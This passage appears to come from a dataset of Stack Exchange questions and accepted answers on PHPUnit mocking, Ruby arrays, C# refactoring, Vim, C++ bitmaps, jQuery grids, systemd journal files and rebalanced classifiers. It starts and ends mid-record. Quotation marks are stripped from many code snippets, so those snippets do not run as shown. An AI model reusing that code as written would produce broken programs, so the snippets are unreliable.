=> '116710',                                    'timestamp'  => '1484497552',                                ],                        ],                ],        ];        $this->returnBasicDataConversion = [            'crm_table'          => 'client_feedback',            'active'             => true,            'last_modified_date' => '2017-03-30 11:21:23',            'created_date'       => '2017-03-30 11:21:23',            'created_by'         => '83767',            'last_modified_by'   => '83767',        ];        $this->convertedData = [            'client_code'           => 'SHBI',            'component_id'          => '4556',            'same_editor_worker'    => 'yes',            'created_by'            => '83767',            'rating'                => 'not-acceptable',            'files'                 =>                [                    'field_cf_not_acceptable_four' =>                        [                            0 =>                                [                                    'created_by' => '83767',                                    'status'     => '1',                                    'filename'   => 'manuscript_0115.docx',                                    'filepath'   => 'sites/all/files/15-01-17/client_feedback/1484497552_manuscript_011512.docx',                                    'filemime'   => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',                                    'filesize'   => '116710',                                    'timestamp'  => '1484497552',                                ],                        ],                ],            'field_cf_rating_value' => 'not-acceptable',            'crm_table'             => 'client_feedback',            'active'                => true,            'last_modified_date'    => '2017-03-30 11:21:23',            'created_date'          => '2017-03-30 11:21:23',            'last_modified_by'      => '83767',            'processing_status'     => 'unread',            'wb_user_id'            => 1131,            'name'                  => 'CF_SHBI350',            'data'                  => '{field_cf_acceptable_one:null,field_cf_acceptable_two:null,field_cf_acceptable_four:null,field_cf_outstanding_one:null,field_cf_outstanding_two:null,field_cf_acceptable_three:null,field_cf_outstanding_three:null,field_cf_not_acceptable_one:null,field_cf_not_acceptable_two:null,field_cf_not_acceptable_three:null,field_cf_acceptable_same_editor:null,field_cf_outstanding_same_editor:null}',        ];        $this->table = 'client_feedback';        $this->saveFailedData =            [                'status'        => 400,                'data'          => null,                'operation'     => 'insert',                'error_message' => 'data save failed error'            ];        //Mocking start        $this->mockMigrationRepo = Mockery::mock(MigrationInterface::class);        $this->mockClientFeedbackRepo = Mockery::mock(ClientFeedbackInterface::class);        $this->mockMasterRepo = Mockery::mock(MasterInterface::class);        $this->mockFileRepo = Mockery::mock(FileInterface::class);        //Set mock of the Core class        $this->mockClientFeedbackCore = Mockery::mock(ClientFeedbackCore::class,            [$this->mockMigrationRepo,             $this->mockClientFeedbackRepo,             $this->mockMasterRepo,             $this->mockFileRepo])->makePartial();        //Set expectations        $this->mockClientFeedbackRepo            ->shouldReceive('getModelName')->andReturn($this->table);        //For insert data        $this->mockClientFeedbackCore->shouldReceive('convertData')                                     ->with($this->requestForConvertData, 'insert')                                     ->andReturn($this->convertedData);    }    public function tearDown()    {        // DO NOT DELETE        Mockery::close();        parent::tearDown();    }    /**     * @test     */    public function method_exists()    {        $methodsToCheck = [            'init',            'store',            'convertData',        ];        foreach ($methodsToCheck as $method) {            $this->checkMethodExist($this->mockClientFeedbackCore, $method);        }    }    /**     * @test     */    public function validate_convert_data_for_insert()    {        //Mock necessary methods        $this->mockClientFeedbackCore->shouldReceive('basicDataConversion')                                     ->with($this->requestForConvertData, 'client_feedback', 'insert')                                     ->andReturn($this->returnBasicDataConversion);        ComponentDetail::shouldReceive('getLastWorkerId')                       ->with($this->requestForConvertData[ 'component_id' ])                       ->andReturn(1131);        Component::shouldReceive('getComponentTitleById')                 ->with($this->requestForConvertData[ 'component_id' ])                 ->andReturn('SHBI350');        $actual = $this->mockClientFeedbackCore->convertData($this->requestForConvertData, 'insert');        $this->assertEquals($this->convertedData, $actual);    }    /**     * @test     */    public function validate_convert_data_without_params()    {        $errorMessage = '';        try{            $this->mockClientFeedbackCore->convertData(null, null);        }        catch (Exception $e){            $errorMessage = $e->getMessage();        }        $this->assertEquals('API Validation Error: Reason: either request or operation param is not provided', $errorMessage);    }    /**     * @test     */    public function validate_store_without_params()    {        $errorMessage = '';        try{            $this->mockClientFeedbackCore->store(null);        }        catch (Exception $e){            $errorMessage = $e->getMessage();        }        $this->assertEquals('API Validation Error: Reason: request param is not provided', $errorMessage);    }    /**     * @test     */    public function validate_store_client_feedback_save_fail()    {        $errorMessage = '';/*        $this->mockClientFeedbackCore->shouldReceive('convertData')                                     ->with($this->requestForConvertData, 'insert')                                     ->andReturn($this->convertedData);*/        //For insert, mock separately        //@todo : with() attribute does not work here :                                     ->with($this->convertedData,$this->mockClientFeedbackRepo)        $this->mockClientFeedbackCore->shouldReceive('insertOrUpdateData')                                     ->andReturn($this->saveFailedData);        try {            $this->mockClientFeedbackCore->store($this->convertedData);        } catch        (Exception $e) {            $errorMessage = $e->getMessage();        }        $this->assertEquals('MigrationError: Data not saved',            $errorMessage);    }    public function validate_store_migration_save_fail()    {        //saveMigrationDataElseThrowException        $this->mockClientFeedbackCore->shouldReceive('saveMigrationDataElseThrowException')                                     ->with('crmTable', 123, 'wbTable', 'wbTitle')                                     ->andReturn($this->saveFailedData);        try {            $this->mockClientFeedbackCore->store($this->convertedData);        } catch        (Exception $e) {            $errorMessage = $e->getMessage();        }        $this->assertEquals('MigrationError: Data not saved',            $errorMessage);    }    public function validate_store_file_save_fail()    {    }    public function validate_store_favourite_editor_save_fail()    {    }    public function validate_store_proper_save()    {    }}Please help me as I am exceeding deadlines due to not completing testcases in time. ThanksEdit : : @gnat its not duplicate, I mean its taking me too much time to write testcase. My question is not about how much time to spend, but how to write testcase fast?"  , "title": "Writing unit test cases are taking time, any advice?"  , "tags": "php;unit testing;tdd;mocking;phpunit"  , "accepted_answer": "It is not unusual for writing good tests to take considerable time - strictly you should be able to write your tests just from the specification and interface that is what is done in some formal test environments and still get 100% coverage.One big factor is if the developers are not used to writing testable code. In businesses like Aviation there are normally specified limits to the allowable code complexity, (a McCabe of <10 is a usual guideline and a requirement to justify anything over that with hard limit of 20 is what I am used to having to stick to).If you look at a section of code there are some rules of thumb for how many tests it will take to fully test it:1 for a simple run through thenParameter Checks:+1 for each value of an enumerate parameter in some languages +1 for invalid enumerate values.+6 for each float parameter, (0.0, >0.0, <0.0, +INF, -INF, NaN)+5 for each int parameter, (0, >0, <0, MAXINT, -MAXINT)etc.Then for each decision:+1 for each case in a switch+2 for each of <,>, ==, !=+3 for each of <=, >=This adds up fast.Some test frameworks have the ability to produce stubs or mocks automatically that gets you off to a good start.As you progress you will find that:You need to do less researchYou will build up a library of mocks/stubs/smippets that you can reuseYou will become for familiar with the toolsYou might even be able to educate the developers on how to write testable, maintainable, code."  } 
{  "id": "_codereview.111032"  , "question": "The task is to assign the n numbers given as input by the user in an array . For Ex : If user gives 10 as input then the generated array should be like this ,arr[0] = 0arr[1] = 1arr[2] = 2arr[3] = 3...arr[10] = 10 The code below works fine but i am using a loop to assign this numbers to an array which can prove a lot of run-time during execution if the user gives an input like 10^6 .puts enter the number of times you want to testtimes = gets.chomp.to_i1.upto times do |i|    puts enter the total number elements in the array .    no = gets.chomp.to_i    puts total number of elements are #{no + 1}    arr = []    sum = 0    0.upto no do |i|        arr[i] = i    end    arr.each_index { |index| print #{index}  }    sum = arr.reduce(:+)    puts #{sum}   endSo , how should i optimize this code for better performance ? "  , "title": "Assigning numbers to an array without using a loop"  , "tags": "performance;ruby;array"  } 
{  "id": "_codereview.29680"  , "question": "I need to refactor following class:public class Message{    public Guid ID { get; set; }    public string MessageIn { get; set; }    public string MessageOut { get; set; }    public int StatusCode { get; set; } //EDIT could be changed during message lifecycle    public bool IsDeletable    {        get        {            switch (this.StatusCode)            {                case 12:                case 13:                case 22:                case 120:                    return true;                default:                    return false;            }        }    }    public bool IsEditable    {        get        {            switch (this.StatusCode)            {                case 12:                case 13:                case 22:                case 120:                    return true;                default:                    return false;            }        }    }    public string Message    {        get        {            switch (this.StatusCode)            {                case 11:                case 110:                    return this.MessageIn;                case 12:                case 13:                case 22:                case 120:                    return this.MessageOut;                default:                    return string.Empty;            }        }    }}I would like to remove these businees rules IsDeletable, IsEditableI would like to remove these switch statments in the same timeI am not sure if it's worth knowing that I am mapping entity to database table through Entity Framework.EDIT:One more problem that I have is that fields MessageIn and MessageOut are dependent on StatusCode. One of them are allways populated.I could create new property but still the switch case is there:public string Message{    get    {        switch (this.StatusCode)        {            case 10:            case 12:            case 13:            case :                return this.MessageIn;           default:             return this.MessageOut;        }    }    set { // switch again}}Best regards"  , "title": "How to refactor C# class to meet SOLID priniciple"  , "tags": "c#;object oriented;design patterns"  , "accepted_answer": "I would like to remove these switch statments in the same time[Flags]public enum StatusCode{    codeX = 1,    codeY = 2,    codeZ = 4,    codeA = 8,    editable = codeX | codeZ,    deleteable = codeY | codeZ}Key pointsUse the Flags attributeenum values are powers of 2 - NOT multiples of 2bit-wise AND, OR provides the magic!Editaddressing the comments:public static class StatusCodes {    private Dictionary<StatusCode, int> values;    private Dictionary<int,StatusCode> keys;    static StatusCodes() {        values = new Dictionary<StatusCode, string> {            {StatusCode.A, 10},            {StatusCode.B, 20},            // and so on        }        keys = new Dictionary<in, StatusCode> {            {10, StatusCode.A},            {20, StatusCode.B},        }    }    public static int GetValue(StatusCode theStatusCodeKey) {} // don't forget error trapping!    public static StatusCode GetKey(int theIntValue) {}  // ditto    public static bool Editable(StatusCode thisCode) {        return (StatusCode.editable & thisCode) == thisCode;    }    public static bool Editable(int thisValue) {        return Editable( GetKey(thisValue));    }}The definition of the codes is all in one place - that's SOLID (D = DRY, don't repeat yourself)The definitions are in its own class - that's SOLID (S = single responsibility)editable and deleteable can be removed from Message - that's very SOLID (S = single responsibility)We know what all those integers mean - thats.. well, just good programming.The StatusCodes are available anywhere and everywhere in the application - That's SOLID, an attribute of being DRY.I'm not sure what status code values might not be fixed in the comments means. Surely the set of status codes is finite.EditDefine editability in StatusCodesUse above to express Message is editableAddress issue of exposing StatusCode.editable as if it were a valid codeAdhere to Single ResponsibilityAdhere to DRY principle...public static class StatusCodes{    private static Dictionary<StatusCode, int> values;    private static Dictionary<int,StatusCode> keys;    static StatusCodes() {        values = new Dictionary<StatusCode, int> {            {StatusCode.A, 10},            {StatusCode.B, 20},            {StatusCode.C, 30},            {StatusCode.D, 40}            // and so on        };        keys = new Dictionary<int, StatusCode> {            {10, StatusCode.A},            {20, StatusCode.B},            {30, StatusCode.C},            {40, StatusCode.D}        };    }    [Flags]    enum Fungability    {        Editable = StatusCode.A | StatusCode.B,        Deleteable = StatusCode.B | StatusCode.D    }    public static int GetValue( StatusCode theStatusCodeKey ) {        int retVal;        values.TryGetValue( theStatusCodeKey, out retVal );        return retVal;    } // don't forget error trapping!    public static StatusCode GetKey( int theIntValue ) {        StatusCode retVal;        keys.TryGetValue( theIntValue, out retVal );        return retVal;    }  // ditto    public static bool Editable( StatusCode thisCode )    {        return ( (StatusCode)Fungability.Editable & thisCode ) == thisCode;    }    public static bool Editable( int thisValue )    {        return Editable( GetKey( thisValue ) );    }}public class Message{    public StatusCode myStatus;    public Message( int statusCode = 20 ) { myStatus = StatusCodes.GetKey(statusCode); }    public Message( StatusCode statusCode = StatusCode.A ) { myStatus = statusCode; }    public bool Editable    {        get { return StatusCodes.Editable( myStatus ); }    }    public bool Deleteable    {        get { return StatusCodes.Deleteable( myStatus ); }    }}Take AwayStructure data in an OO wayExpose the data adhering to the Single Responsibility principleYou get DRY as a side effectStructure yields simplicity, coherence, clarity. Editable is implemented with only one line of code!Message.Editable went from originally calculating if the status code was editable, to simply asking the StatusCode are you editable? "  } 
{  "id": "_cstheory.31788"  , "question": "P/poly is the class of decision problems solvable by a family of polynomial-size Boolean circuits. It can alternatively be defined as a polynomial-time Turing machine that receives an advice string that is size polynomial in n and that is based solely on the size of n.mP/poly is the class of decision problems solvable by a family of polynomial-size monotone Boolean circuits, but is there a natural alternative definition of mP/poly in terms of a polynomial-time Turing machine?"  , "title": "What is an equivalent definition of mP/poly in terms of a Turing machine?"  , "tags": "cc.complexity theory;complexity classes;circuit complexity;polynomial time;monotone"  , "accepted_answer": "There is a notion of a monotone non-deterministic and, more generally, alternating Turing machine in the paper Monotone Complexity by Grigni and Sipser. Since polynomial time is the same as alternating logarithmic space, a machine characterization of uniform $\\mathsf{mP}$ is the monotone alternating logspace Turing machine. Providing such a machine with polynomial advice will then give a machine definition of $\\mathsf{mP/poly}$."  } 
{  "id": "_cstheory.32590"  , "question": "I am wondering whether there is an efficient algorithm to compute the basis of the set of vertices of a polytope. Formally, INPUT: a polytope$$\\Xi=\\{(\\vec{a}_1\\vec{x}+\\vec{b}_1, \\cdots, \\vec{a}_m\\vec{x}+\\vec{b}_m)\\mid C\\vec{x}\\leq d\\}$$and a subspace $span(E)$ where $E=\\{e_1, \\cdots, e_{\\ell}\\}$ is a given set of vectorsOUTPUT: a basis of the linear subspace spanned by$$V(\\Xi)\\setminus span(E),$$ where $V(\\Xi)$ denotes the set of vertices of $\\Xi$. (Note that here $\\Xi$ is given as an affine mapping of a polytope, which might complicates the problem a little bit.)One can solve the problem in a straightforward approach, but I am asking for an ideally polynomial-time algorithm, or any evidence that this is not possible (e.g., NP-hardness)."  , "title": "Compute basis of vertex set of polytope"  , "tags": "ds.algorithms;linear algebra;computational geometry;convex geometry"  } 
{  "id": "_unix.74410"  , "question": "how can I lop through buffers in quickfix list :copen and make some actions with it.Or any alternative way to put those files to args list and I can use argsdo. "  , "title": "Vim - loop through files in cope"  , "tags": "vim"  , "accepted_answer": "I've found a vim plugin that suits my need completely which is vim-qargs. The idea behind is almost the same with @Ingo."  } 
{  "id": "_cstheory.10462"  , "question": "I'm wondering if anyone knows of a formalization (even limited) of any part of finite model theory in any of the major proof assistants. (I'm most familiar with Coq, but Isabelle, Agda, etc. would acceptable.)Especially of interest would be any of the results in descriptive complexity."  , "title": "Proof assistant formalizations of Finite Model Theory"  , "tags": "lo.logic;descriptive complexity;finite model theory;proof assistants"  } 
{  "id": "_codereview.30584"  , "question": "This program prints out a 10x10 square and uses only bit operations. It works well, but I don't like that global array. Can you tell me if the code is proper or not?#include <iostream>const std::size_t HEIGHT = 10;const std::size_t WIDTH = 10;char graphics[WIDTH/8][HEIGHT];inline void set_bit(std::size_t x, std::size_t y){    graphics[(x) / 8][y] |= (0x80 >> ((x) % 8));}void print_screen(void){    for (int y = 0; y < HEIGHT; y++)    {        for (int x = 0; x < WIDTH/8+1; x++)        {            for (int i = 0x80; i != 0; i = (i >> 1))            {                if ((graphics[x][y] & i) != 0)                    std::cout << *;                else                    std::cout <<  ;            }        }            std::cout<<std::endl;    }}int main(){    for(int x = 0; x < WIDTH; x++)    {        for(int y = 0; y < HEIGHT; y++)        {            if(x == 0 || y == 0 || x == WIDTH-1 || y == HEIGHT-1)                set_bit(x,y);        }    }    print_screen();    return 0;}"  , "title": "10x10 bitmapped square with bits"  , "tags": "c++;matrix;bitwise"  , "accepted_answer": "That global array is indeed not good.  You'll need to pass around an array, but you shouldn't do it with a C-style array.  Doing that will cause it to decay to a pointer, which you should avoid in C++.  If you have C++11, you could use std::array, which will be set at an initial size.  But if you don't have C++11, and also want to adjust the size, use an std::vector.  You can also compare the two here.  Either way, you'll be able to pass any of them around nicely, and it's something you should be doing in C++ anyway.To match your environment, the following code does not utilize C++11.I'll use std::vector here, but this can be done with other STL storage containers.  Here's what a 2D vector would look like:std::vector<std::vector<T> > matrix; // where T is the typeThis type does look long, and you may not want to type it out each time.  To shorten it, you can use typedef to create an alias (which is not a new type):typedef std::vector<std::vector<T> > Matrix;With that, you can use this type as such:Matrix matrix;and create the 2D vector of a specific size.However, this is where the syntax gets nasty (especially lengthy).  It's not set to a specific size, so you can just push vectors into it to increase the size.  For a fixed size (using your size and data type), you'll have something like this:std::vector<std::vector<char> > matrix(HEIGHT, std::vector<char>(WIDTH));This can be made shorter by having another typedef to serve as a dimension of the matrix.  This will also make it a little clearer what the vector means in this context.typedef std::vector<char> MatrixDim;It is then applied to the Matrix typedef:typedef std::vector<MatrixDim> Matrix;The 2D initialization will then become this:Matrix matrix(HEIGHT, MatrixDim(WIDTH));Now you can finally use this in main() and pass it to the other functions.  Before you do that, you'll need a different loop counter type.  With an STL storage container, you should use std::size_type.  With std::vector<char>, specifically, you'll have:std::vector<char>::size_type;You can use yet another typedef for this:typedef MatrixDim::size_type MatrixDimSize;Here's what the functions will look like with the changes (explanations provided).  I've also included some additional changes, which are also explained.  The entire program with my changes applied and produces the same output as yours.setbit():inline void set_bit(Matrix& matrix, MatrixDimSize x, MatrixDimSize y){    matrix[(x) / 8][y] |= (0x80 >> ((x) % 8));}An additional parameter of type Matrix is added.  The matrix is passed in by reference and modified within the function.The std::size_t parameters were replaced with the MatrixDimSize type.print_screen():void print_screen(Matrix const& matrix){    for (MatrixDimSize y = 0; y < HEIGHT; y++)    {        for (MatrixDimSize x = 0; x < WIDTH/8+1; x++)        {            for (int i = 0x80; i != 0; i >>= 1)            {                std::cout << (((matrix[x][y] & i) != 0) ? '*' : ' ');            }        }        std::cout << \\n;    }}A parameter of type Matrix is added.  The matrix is passed in by const&, which is necessary as the function displays the matrix but does not modify it.  It's also cheaper to pass it this way as opposed to copying (passing by value).MatrixDimSize is added for the loop counter types.The if/else is replaced with an equivalent ternary statement.A newline is done with \\n as opposed to std::endl.  The latter also flushes the buffer, which is slower.  You just need the former.i = (i >> 1) is shortened to i >>= 1.Main():int main(){    Matrix matrix(HEIGHT, MatrixDim(WIDTH));    for (MatrixDimSize x = 0; x < WIDTH; x++)    {        for (MatrixDimSize y = 0; y < HEIGHT; y++)        {            if (x == 0 || y == 0 || x == WIDTH-1 || y == HEIGHT-1)            {                set_bit(matrix, x, y);            }        }    }    print_screen(matrix);}Both matrix vector typedefs are applied.MatrixDimSize is added for the loop counter types.The matrix is passed to and modified only by set_bit().It is passed to print_screen() and is not modified."  } 
{  "id": "_webmaster.53896"  , "question": "I recently noticed the following Google-related error on our website pages:GET  http://pagead2.googlesyndication.com/teracent_product_template_V1/clearPixel.gif  404 (Not Found)  pagead2.googlesyndication.com/teracent_product_template_V1/clearPixel.gif:1I'm wondering if this is hindering AdSense clicks from registering with Google.I'm using the asynch analytics code that begins with:<script async src=http://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js></script>"  , "title": "Any alternatives to Google's clearPixel.gif 404 not found?"  , "tags": "google analytics;google adsense;404"  } 
{  "id": "_softwareengineering.109138"  , "question": "I'm working on an installation script, and especially there I have many things that need to be checked and actions that only need to be performed in case of related outcomes. For example, a folder only needs to be created if it doesn't exist:MyDesktopFolderPath := AddBackslash(ExpandConstant('{commondesktop}')) +                         'My Folder';if not DirExists(MyDesktopFolderPath) thenbegin  ForceDirectories(MyDesktopFolderPath); //Create full pathend;if DirExists(MyDesktopFolderPath) thenbegin  //Perform other actionsInstead of this, I could use (exploit?) short-circuit evaluation to make it more compact:MyDesktopFolderPath := AddBackslash(ExpandConstant('{commondesktop}')) +                        'My Folder';IsMyDesktopFolderExisting := DirExists(MyDesktopFolderPath) or                               ForceDirectories(MyDesktopFolderPath);if IsMyDesktopFolderExisting thenbegin  //Perform other actionsThis would work too, but I wonder if it is bad practice, mostly because it is less obvious that actions might be performed. Any opinions on that?Edit: As pointed out by Secure, the code is not completely equivalent, but the discussion topic still stands for other cases."  , "title": "Is it bad practice to use short-circuit evaluation instead of an if clause?"  , "tags": "coding style"  , "accepted_answer": "Good practice - NO. As your peers may not be as intelligent as you are. But yes, in some languages (I'd dare say, Perl), That is a common idiom. But exploiting short circuit evaluation - if it was considered good practice,It certainly would have appeared to be a common idiom in a place like the Linux kernel source (Those guys swear to write the clearest code on earth).If..Then..Else would have been done away with by now.So, my suggestion, keep it simple, even if it means a few more keystrokes. Just an observation and a personal opinion, though."  } 
{  "id": "_codereview.41130"  , "question": "I have created an MS Excel type of grid in jQuery. I want to learn best practices and I need your comments for more optimized code.Please review the code and offer your suggestions.DemojQuery:var JS = JS || {};JS.training = JS.training || {};  JS.training.tableData = JS.training.tableData || {};  JS.training.tableData = {      defaults: {        $table: $('#myTable'),        addTableRowBtn: $('#addRowBtn'),        addTableColBtn: $('#addColBtn')    },    createTable: function () {        var _this = this,            table = ;        table += <thead>;        for (i = 0; i < 5; i++) {            var tableHeader = (i == 0) ? <th style='border:1px solid #E5E5E5; background:#F1F1F1'></th> : <th style='border:1px solid #E5E5E5; background:#F1F1F1'>A + i + </th>;            table += tableHeader;        }        table += </thead>;        table += <tbody>;        for (i = 0; i < 5; i++) {            table += <tr  id='row + i + '>;            for (var j = 0; j < 5; j++) {                var tableDataCells = (j == 0) ? <td width='3%' style='border:1px solid #E5E5E5;'> + (i + 1) + </td> : <td width=100px style='border:1px solid #E5E5E5' id='td + j + '  contenteditable=true> </td>;                table += tableDataCells;            }            table += '</tr>';        }        table += </tbody>;        //APPEND TABLE MARKUP        $(_this.defaults.$table).append(table);        //BIND EVENTS        _this.bindEvents();    },    addTableRow: function () {        var _this = this,            colLen = $(#myTable tr:nth-child(1) td).length,            colVal = parseInt($(#myTable tr:last-child td:first).text()) + 1;        for (i = 0; i < 1; i++) {            var table = <tr id=row + colVal + '>;            for (var j = 0; j < colLen; j++) {                if (j == 0) {                    table += '<td width=3% style=border:1px solid #E5E5E5; background:#F1F1F1>' + colVal + ' </td>';                } else {                    table += <td width=100px style='border:1px solid #E5E5E5;' contenteditable=true id='td + j + '> </td>;                }            }            table += '</tr>';        }        $(_this.defaults.$table).append(table);    },    addTableColumn: function () {        var _this = this,            colVal = $(#myTable tr th:last-child).text(),            colNum = parseInt(colVal.charAt(1)) + 1;        console.log(colNum);        $(#myTable thead tr:last-child).append(<th  style='border:1px solid #E5E5E5; background:#F1F1F1'>A + colNum + </th>);        $(#myTable tbody tr).each(function () {            $(this).append(<td width=100px style='border:1px solid #E5E5E5;' contenteditable=true id='td + colNum + '></td>)        });    },    bindEvents: function () {        var _this = this;        //CAPTURE ADD ROW BUTTON CLICK        _this.defaults.addTableRowBtn.on('click', function () {            _this.addTableRow();        });        //CAPTURE ADD COLUMN BUTTON CLICK        _this.defaults.addTableColBtn.on('click', function () {            _this.addTableColumn();        });    },    init: function () {        var _this = this;        _this.createTable();    }};//INIT CALLJS.training.tableData.init();HTML:<div id=wrapper>    <button id=addRowBtn name=addRowBtn value=Add Row>Add Row</button>    <button id=addColBtn name=addColBtn value=Add Col>Add Column</button>    <div id=table>        <table id=myTable cellpadding=0 cellspacing=0 border=0 style=border:1px solid #E5E5E5></table>    </div></div>CSS:body {    font:normal 14px/16px Arial, Helvetica, sans-serif}#wrapper {    margin:100px auto 0;    width:80%;}#myTable {    width:100%;    margin:20px auto 0}#myTable th, #myTable td {    padding:5px;}#myTable tr td.first {    background:#F1F1F1;    border:1px solid #E5E5E5;}"  , "title": "MS Excel type of grid in jQuery"  , "tags": "javascript;jquery;css;excel"  } 
{  "id": "_unix.293506"  , "question": "Our Apache installation is in /var/www on a CentOS 7.2 virtual machine. On occassion I run the following to ensure there are no unintended backups which could leak information to an attacker:$ sudo find /var -name '*~' -exec ls -al {} \\;An attacker could read something like /var/www/html/.htaccess~, so I try to close the loop.I'm finding a lot of *.journal~ files like below. My question is, is it safe to delete *.journal~ files?$ sudo find /var -name '*~' -exec ls -al {} \\;-rw-r-x---+ 1 root systemd-journal 16777216 Jun 29 18:15 /var/log/journal/dca38bef0d5e4e8f9f2d545d2d833d10/system@000536721696e9d6-a9b410b4febe65a4.journal~-rw-r-x---+ 1 root systemd-journal 8388608 Mar 22 09:44 /var/log/journal/dca38bef0d5e4e8f9f2d545d2d833d10/system@00052ea369e0b2bd-1d7acaa158c097ce.journal~-rw-r-x---+ 1 root systemd-journal 16777216 Mar  1 12:47 /var/log/journal/dca38bef0d5e4e8f9f2d545d2d833d10/system@00052d005afca627-832bef905fadc68a.journal~-rw-r-x---+ 1 root systemd-journal 41943040 Dec 20  2015 /var/log/journal/dca38bef0d5e4e8f9f2d545d2d833d10/system@00052751b69a95c2-a89587027ab1e7b1.journal~-rw-r-x---+ 1 root systemd-journal 50331648 Jun 22 12:27 /var/log/journal/dca38bef0d5e4e8f9f2d545d2d833d10/system@000535e0693d499f-d4ac1018446b2d1c.journal~-rw-r-x---+ 1 root systemd-journal 8388608 Mar 22 02:12 /var/log/journal/dca38bef0d5e4e8f9f2d545d2d833d10/system@00052e9d178a2a6e-7b32a6e135411405.journal~-rw-r-x---+ 1 root systemd-journal 8388608 Mar 21 06:41 /var/log/journal/dca38bef0d5e4e8f9f2d545d2d833d10/system@00052e8cbf37cd2d-d35b640960338dc6.journal~-rw-r-x---+ 1 root systemd-journal 109051904 Oct 30  2015 /var/log/journal/dca38bef0d5e4e8f9f2d545d2d833d10/system@0005234f05beb937-3981ecbe40bd0d44.journal~-rw-r-x---+ 1 root systemd-journal 33554432 Dec 28  2015 /var/log/journal/dca38bef0d5e4e8f9f2d545d2d833d10/system@000527f224ea20df-08f87b61cfe81145.journal~-rw-r-x---+ 1 root systemd-journal 25165824 Mar 16 10:22 /var/log/journal/dca38bef0d5e4e8f9f2d545d2d833d10/system@00052e2b3fa35891-3563c97a71f5dd91.journal~-rw-r-x---+ 1 root systemd-journal 25165824 Jan 25 05:21 /var/log/journal/dca38bef0d5e4e8f9f2d545d2d833d10/system@00052a25ef06cf65-2fd7ff3b4180821a.journal~-rw-r-x---+ 1 root systemd-journal 8388608 Jun 22 14:33 /var/log/journal/dca38bef0d5e4e8f9f2d545d2d833d10/system@000535e22db1cc74-229a3c16ea602559.journal~-rw-r-x---+ 1 root systemd-journal 33554432 Feb 24 08:16 /var/log/journal/dca38bef0d5e4e8f9f2d545d2d833d10/system@00052c83e0ff6ffd-1a173643d39c4b04.journal~-rw-r-x---+ 1 root systemd-journal 75497472 Sep 12  2015 /var/log/journal/dca38bef0d5e4e8f9f2d545d2d833d10/system@00051f8e1e1106c9-63bb5fc51c6a971c.journal~-rw-r-x---+ 1 root systemd-journal 25165824 Jan 31 19:57 /var/log/journal/dca38bef0d5e4e8f9f2d545d2d833d10/system@00052aaadd6e25ec-966ecca9ba5745d1.journal~-rw-r-x---+ 1 root systemd-journal 8388608 Mar  3 23:33 /var/log/journal/dca38bef0d5e4e8f9f2d545d2d833d10/system@00052d319c941392-e0d1a3be7393b367.journal~-rw-r-x---+ 1 root systemd-journal 8388608 Feb 24 18:47 /var/log/journal/dca38bef0d5e4e8f9f2d545d2d833d10/system@00052c8cb219d76a-44113da213089efd.journal~-rw-r-x---+ 1 root systemd-journal 25165824 Mar 21 00:01 /var/log/journal/dca38bef0d5e4e8f9f2d545d2d833d10/system@00052e8726bb4cc9-856667d24547c679.journal~-rw-r-x---+ 1 root systemd-journal 50331648 May 11 12:00 /var/log/journal/dca38bef0d5e4e8f9f2d545d2d833d10/system@00053293245f6ad8-dcb2b9ca810ea884.journal~"  , "title": "Is it safe to delete '.journal~' files?"  , "tags": "files;systemd;logs;rm"  } 
{  "id": "_softwareengineering.343172"  , "question": "The question is asked in the context of Python, but it is also relevant for any languages with named parameters support.If some entity in my code (e.g. a pubsub implementation) or even a simple function accepts a callback, does it make more sense to call it with positional arguments or with named arguments?def foo(on_foo_ended):    foo_result = await ...    # Call with positional argument:    on_foo_ended(foo_result)    # Call with named argument:    on_foo_ended(result=foo_result)A call with positional arguments does not require any arbitrary parameter naming from the user, but may instead impose arbitrary parameter ordering. Named arguments require matching parameter names, but are (to some extent) self-documenting and do not force the user to order them.Assuming we are developing a library, it would be preferable to use the most common convention if there is one. If there is none, would it make sense to prefer one way over the other? I suppose complex strategies like pass positional argument when there is only one and named arguments when there are two or more would be too arbitrary and probably difficult to use."  , "title": "Should callbacks be called with named or positional arguments?"  , "tags": "python;coding standards;functions;parameters"  } 
{  "id": "_datascience.13057"  , "question": "I have a dataset of about 1M observation and I had to predict a response that occurs only about 10.000 times (1%). I decided to train a random forest, but this takes a lot of time to train because the data is too large for my hardware. So I decided to take a sample, but an aleatory sample would be already too large to have a minimum quantity of response. (If  I take 10% aleatory, i would have only 1000 response)Then I took a stratified sample. All responses and 10.000 aleatory non-responses, and trained my model in this dataset.But now I need to rescale the probability so I have the real probability of the observation to be response.I tried to simulate this problem with this code in R. Training a model in a balanced dataset and another one in the unbalanced data. But those models are not very correlated and I didn't find a good way to tranform the probabilities to the original unbalanced scale.Found this is a good reference for future readersI found that for logistic regression I can do this by just changing the intercept this way:$$ \\hat{\\beta_0}  =  \\hat{\\beta_0^*} - log(\\frac{\\gamma_1}{\\gamma_2})$$Where $ \\gamma_1 = Pr(Z=1|Y=1)$ and $ \\gamma_2 = Pr(Z=1|Y=0)$. $Z$ is the an aleatory variable indicating if the observation is in the reduced dataset.This was found in this book (in portuguese) page 216simulate_data <- function(n){  X <- data.frame(matrix(runif(n*20), ncol = 20))  list(    X = X,    Y = rbinom(n, size = 1, prob = apply(X, 1, sum) %>% pnorm(mean = 13)) %>% as.factor()    )}balance <- function(X, Y){  X <- rbind(    X[Y == 1,],    X[Y == 0,] %>% sample_n(length(Y[Y == 1]))    )  return(list(    X = X,    Y = as.factor(c(rep(c(1,0), each = length(Y[Y == 1]))))  ))}train <- simulate_data(100000)library(randomForest)m_desb <- mean(train$Y == 1)modelo_desb <- randomForest(train$X,train$Y, ntree = 200, cutoff = c(1-m_desb, m_desb), nodesize = 30, mtry = 8)bal <- balance(train$X, train$Y)m_bal <- mean(bal$Y == 1)modelo_bal <- randomForest(bal$X,bal$Y, ntree = 100, cutoff = c(1-m_bal, m_bal), nodesize = 50)Code for plotlibrary(ggplot2)data.frame(  unbalanced = predict(modelo_desb, newdata = test$X, type = prob)[,2],  balanced = predict(modelo_bal, newdata = test$X, type = prob)[,2]) %>%  ggplot(aes(x = balanced, y = unbalanced)) +  geom_point(size = 0.3) +  xlim(0,1) +  geom_smooth() +  geom_hline(yintercept = m_desb, linetype = dashed) +  geom_vline(xintercept = m_bal, linetype = dashed)"  , "title": "Predict probability when model was trained in balanced dataset"  , "tags": "machine learning"  , "accepted_answer": "Daniel,What you did goes under the name of oversampling. There is a sample of some real population, and you replace it with a sample from a manufactured population. The problem that makes sense in application is the estimation of$$P_r(Y=1|X) = \\text{probability of response=1 in the 